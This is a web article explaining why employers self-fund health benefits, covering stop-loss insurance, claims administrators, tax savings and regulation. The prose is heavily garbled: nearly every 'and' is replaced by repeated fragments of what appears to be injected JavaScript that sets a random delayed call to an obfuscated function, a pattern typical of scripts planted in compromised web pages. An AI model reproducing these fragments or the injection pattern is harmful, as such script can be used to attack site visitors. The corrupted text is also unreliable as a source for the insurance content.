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Reasons Employers Self-Fund

Reasons Employers Self-Fund

Whether you are already self-funded or are considering becoming self-funded, it’s important to consider all the options, so you can make the right play for your business. Here you’ll find insights andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and tips that you can use immediately.

When it comes to self-funding, there are three key decision points:

1. Funding arrangement – how will an employer pay for insurance benefits for its employees? To answer, an employer needs to first determine its benefits strategy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and financial goals. Understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding its risk tolerance, size, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cash-flow needs will help the employer decide if it should be fully insured, self-funded with stop-loss insurance, or self-funded without stop-loss insurance.

2. Claims administrator – selecting a claims administrator determines the provider network or networks available to the employer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and its plan members. In addition, the claims administrator andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their approach can have a significant impact on the success of the self-funded strategy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the benefits experience of the insurance plan members.

3. Stop-loss insurance – for many employers, the risk associated with a self-funded plan is managed through stop-loss insurance. To choose the right stop-loss carrier andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and protection level, the employer needs to consider its own financial profile (including risk tolerance), its claims experience, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the potential carrier’s attributes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and product options.

Once the key decisions have been made, it is time to create an action plan. If the employer chooses to self-fund, it now has the flexibility to design a plan to suit its business andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can strategize about cash-flow management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stop-loss coverage. In addition, the broker, administrator, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stop-loss carrier can team up to help the employer contain costs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and improve patient outcomes.

Why self-fund?

An employer has more flexibility andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and financial control with self-funding than it does by fully insuring. An employer that self-funds can design the health or ancillary plan andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and cost-savings strategy according to its preferences. If an employer fully insures, it is limited to the plan design options offered by a insurer.

In addition, self-funding provides increased claims-data access, which allows the employer (or its broker or administrator) to make decisions to improve the health, wellness andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and productivity of its employees andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and help the bottom line through its ability to:

  • Perform more in-depth utilization analysis andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and identify claim trends
  • Refine its benefits plan design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and options
  • Tailor health management andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and improvement programs, such as case management, wellness programs, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and employee incentives

Self-funded employers, more so than fully insured employers, have opportunities to save. Savings can come from lower taxes due to the different taxation laws. Self-funded employers also have the ability to design an insurance plan so it can produce savings. In addition, self-funded employers can use cost-containment strategies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and programs, which may result in lower-than-expected claims amounts.1

How much can an employer save by self-funding?2
The Self-Insurance Educational Foundation shared the different ways that self-funded can lead to employer savings:

  • Lower administration andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and insurer profit costs (typically 15–20% of plan premium for a fully insured plan)
  • Lower premium taxes (only excess-loss coverage premium is taxable)
  • Retained dollars from unspent claims funding

Should businesses of a particular size self-fund?

The rising cost of health care combined with Affordable Care Act requirements has raised interest in self-funding. But self-funding is not for every business. In the past, very large companies typically self-funded andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and retained all the risk; many large andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and midsize employers self-funded andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and retained some of the risk; andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and smaller employers tended to fully insure their insurance plans.

Regardless of employer size, every business needs to consider certain things when deciding to self-fund. A 2018 Employee Benefit News article written by Nathan Solheim shared a list of things to consider:

  • Additional compliance responsibility
  • Risk tolerance
  • Ability to deal with volatility
  • Level of knowledge about how to administer the plan andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and analyze data
  • Stop-loss andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the appropriate levels3

So, the answer to “how small is too small to self-fund” really depends on the employer in question. By following the above recommendations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and working with a knowledgeable broker, the employer—regardless of size—can determine if self-funding makes sense for its particular business.

Other Considerations

Lower taxes, anyone? Self-funded medical plans tend to have lower taxes than fully insured ones. Why? Fewer taxes apply to self-funded plans. In addition, state premium taxes for self-funded plans are assessed against stop-loss insurance premiums instead of health insurance premiums. Stop-loss premiums are typically much less than health insurance premiums, so the self-funded employer gets a comparatively lower tax bill.

Costs associated with self-funding

When an employer self-funds, it must determine how much risk it’s willing to take andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and if its cash flow can accommodate the new funding arrangement, including paying for claims, administration fees andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stop-loss coverage. In addition, it’s important to consider state andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and federal regulatory requirements.

Regulatory requirements

Fully insured plans, self-funded plans andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stop-loss insurance are all governed by a variety of laws. A host of federal laws apply to both fully insured andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and self-funded plans. Additionally, every state has the ability to levy taxes, impose requirements, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and regulate how fully insured plans andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stop-loss insurance are structured andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sold. The easiest way for self-funded employers to stay on top of federal andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and state requirements is to seek advice from experienced professionals, such as brokers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and attorneys, who specialize in servicing self-funded Clients.

Weighing the self-funding decision

There are clear advantages andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and responsibilities to consider when deciding whether to self-fund. Self-funding isn’t appropriate for every business, but it can be the right decision for many. Typically, an employer will depend on its broker to guide it through the process of funding arrangement evaluation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and subsequent decisions. A broker is a great resource to tap – andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can advise on self-funding andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and stop-loss coverage trends in different industries. He or she can also recommend ways to manage cash flow andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the risk associated with high-cost claims.

 

Sources:

1 The Rough Notes Company, Inc, “Stop-Loss insurer Sun Life provides a wide range of backup services,”http://roughnotes.com/selffunded-health-plans-put-employer-control/, March 28, 2018

2 Self-Insurance Educational Foundation., “Employers: Specific advantages of self-insurance,” http://www.siefonline.org/employers.php

3 Employee Benefits News, “Small employers flock to self-funding,” https://www.benefitnews.com/news/small-employers-flocking-toself-funding, May 2nd, 2018

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